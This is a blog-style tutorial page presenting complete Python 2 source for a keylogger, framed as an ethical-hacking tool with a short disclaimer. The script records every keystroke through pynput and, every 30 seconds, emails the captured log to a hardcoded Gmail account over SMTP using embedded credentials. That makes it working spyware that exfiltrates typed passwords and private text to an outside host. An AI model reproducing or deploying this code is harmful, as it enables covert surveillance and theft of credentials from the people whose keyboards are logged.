Python-Powered Keylogger: Tracking Keys, Protecting Data.

KeyLogger use case.


The keylogger is another useful tool built on Python and it's libraries, which traces users keyboard activities and report them to specified e-mail address. Please don't forget to use it for educational and ethical purpose only like network administration and network security.
This solution itself uses Python2 realisation as pynput was not adapted for Python3 at the time of code creation which is not a big problem for practical usage at all.

Keylogger tool using Python.
Keylogger using Python meme.

Python Knowledge Base: Make coding great again.
- Updated: 2024-11-20 by Andrey BRATUS, Senior Data Analyst.




  1. There is an ethical way to Key Log:


  2. A Keylogger implemented in Python serves as a powerful tool for ethical hacking, allowing security professionals to capture and record keystrokes made on a target device to assess vulnerabilities in user input security. By monitoring keystrokes, ethical hackers can identify potential threats, such as unencrypted passwords and sensitive data leaks, helping organizations understand weaknesses in their security protocols. This tool is often used in penetration testing scenarios to simulate real-world attacks, ultimately aiding in the enhancement of overall cybersecurity measures.


  3. Python code to implement KeyLogger tool:


  4. Below is a Python realisation of keylogger which can be executed from this command line:# python andrew_keylogger.py


    
    import pynput.keyboard
    import smtplib
    import threading
    
    log = ""
    
    def callback_function(key):
        global log
        try:
            log = log + key.char.encode("utf-8")
            #log = log + str(key.char)
        except AttributeError:
            if key == key.space:
                log = log + " "
            else:
                log = log + str(key)
    
        print(log)
    
    def send_email(email,password,message):
        email_server = smtplib.SMTP("smtp.gmail.com",587)
        email_server.starttls()
        email_server.login(email,password)
        email_server.sendmail(email,email,message)
        email_server.quit()
    
    def thread_function():
        global log
        send_email("andrewtest@gmail.com", "andrewtest123456", log)
        log = ""
        timer_object = threading.Timer(30,thread_function)
        timer_object.start()
    
    keylogger_listener = pynput.keyboard.Listener(on_press=callback_function)
    with keylogger_listener:
        thread_function()
        keylogger_listener.join()
    




See also related topics:


Security, network administration and EH - DevOps Plus:

Python, the double-edged sword of security and ethical hacking, where you can defend systems with one hand and penetrate them with the other. It's like being a cybersecurity superhero who walks the fine line between good and mischievous.